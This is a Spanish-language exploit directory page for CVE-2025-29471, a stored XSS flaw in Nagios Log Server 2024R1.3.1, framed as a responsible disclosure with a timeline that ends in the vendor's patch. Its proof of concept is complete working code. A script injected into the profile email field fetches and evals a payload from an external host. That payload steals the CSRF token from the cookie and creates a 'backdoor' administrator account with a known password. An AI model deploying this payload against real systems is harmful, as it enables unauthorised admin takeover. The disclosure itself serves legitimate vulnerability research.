Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-29471 — XSS almacenado en Nagios Log Server 2024R1.3.1 | Kitploit
Herramientas/GitHubGitHub/skraft9/cve-2025-29471
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónRed Teaming
GitHubskraft9/cve-2025-29471

CVE-2025-29471

XSS almacenado en Nagios Log Server 2024R1.3.1

Ver Repositorio
120hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Vulnerabilidad XSS Almacenado en Nagios Log Server (Escalada de Privilegios a Administrador)

▶️ Demostración PoC

Fecha: 2025-04-02

Autor del Exploit: Seth Kraft

Página Principal del Proveedor: https://www.nagios.com/

Registro de Cambios del Proveedor: https://www.nagios.com/changelog/#log-server

Enlace del Software: https://assets.nagios.com/downloads/nagios-log-server/versions.php

Versiones Afectadas: 2024R1.3.1 y anteriores

Probado En: Nagios Log Server 2024R1.3.1 (configuración predeterminada, Ubuntu 20.04)

CWE-ID: CWE-79

Puntuación Base: 8.3 (Alta)

Cadena de Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

Tipo: Cross-Site Scripting Almacenado (XSS), Escalada de Privilegios


Autorización

Solo para fines de pruebas e investigación autorizadas. No pruebe ni explote esta vulnerabilidad en sistemas que no sean de su propiedad o para los que no tenga permiso explícito de probar.


Descripción:

Una vulnerabilidad XSS almacenado en Nagios Log Server 2024R1.3.1 permite a un usuario con bajos privilegios inyectar JavaScript malicioso en el campo 'email' de su perfil.

Cuando un administrador visualiza los registros de auditoría, el payload se ejecuta, lo que resulta en una escalada de privilegios mediante la creación no autorizada de una cuenta de administrador.


Prueba de Concepto

1.Aloje el payload xss.js en su servidor externo con el siguiente contenido. Github funciona bien.

Actualice <target-ip> con la IP/Nombre de host del objetivo Nagios Log Server.

(function() {
  console.log("🔥[XSS] Payload Executing...🔥");

  var csrfTokenMatch = document.cookie.match(/csrf_ls=([^;]+)/);
  if (!csrfTokenMatch) return;
  var csrfToken = encodeURIComponent(csrfTokenMatch[1]);
  console.log("[XSS] CSRF Token:", csrfToken);

  var requestBody = "csrf_ls=" + csrfToken +
    "&name=backdoor" +
    "&[email protected]" +
    "&username=backdoor" +
    "&password=Password123!" +
    "&password2=Password123!" +
    "&auth_type=admin" +
    "&apiaccess=1" +
    "&language=en_US" +
    "&account_type=local";

  fetch("http://<target-ip>/nagioslogserver/admin/users/create", {
    method: "POST",
    headers: { "Content-Type": "application/x-www-form-urlencoded" },
    body: requestBody
  })
  .then(response => response.text())
  .then(function(data) {
    console.log("🔥[XSS] User Created Successfully!🔥");
    console.log(data);
  })
  .catch(console.error);
})();
  1. Inicie sesión en Nagios Log Server como un usuario estándar (no administrador).

  2. Navegue hasta el endpoint de actualización del perfil:

    http://<target-ip>/nagioslogserver/profile/update

  3. Inyecte el siguiente payload en el campo de correo electrónico. Actualice la línea fetch con la URL donde está almacenado xss.js.

<script>
fetch("https://<EXTERNAL-HOST>/xss.js")
  .then(response => response.text())
  .then(scriptText => eval(scriptText))
  .catch(console.error);
</script>
  1. Espere a que un administrador vea los registros de auditoría. El JavaScript se ejecutará, creando una nueva cuenta de administrador:

Username: backdoor

Password: Password123!

  1. Inicie sesión como backdoor con acceso completo de administrador en Nagios Log Server.

Cronología de divulgación

  • 2025-02-07: El investigador reportó la vulnerabilidad a Nagios
  • 2025-02-14: Nagios acusó recibo del informe de seguridad
  • 2025-03-03: El investigador solicitó una actualización a Nagios
  • 2025-03-10: El investigador solicitó una actualización a Nagios
  • 2025-03-17: Nagios confirma que la vulnerabilidad está solucionada y que se planea publicar un parche pronto
  • 2025-03-19: Nagios publica Nagios Log Server 2024R2
  • 2025-03-27: El investigador probó y verificó que Nagios Log Server 2024R2 resuelve la vulnerabilidad de XSS almacenado y actualizó a Nagios
  • 2025-04-01: MITRE reserva CVE-2025-29471 para esta vulnerabilidad de XSS almacenado, pero los detalles permanecieron sin publicar debido a la ausencia de un aviso de seguridad público por parte del proveedor
  • 2025-04-03: El investigador publica el PoC en ExploitDB para cumplir con los requisitos de evidencia para la asignación del ID de CVE por parte de MITRE.
  • 2025-04-09: Nagios publica una continuación del parche 2024R2 (2024R1.3.2) que aplica retroactivamente la corrección de la vulnerabilidad de XSS almacenado a la rama 2024R1
  • 2025-04-15: CVE-2025-29471 se publicó formalmente

Descargo de responsabilidad

Este trabajo se realizó fuera de mi empleo y refleja mis esfuerzos personales en la investigación de ciberseguridad.


Descargar herramienta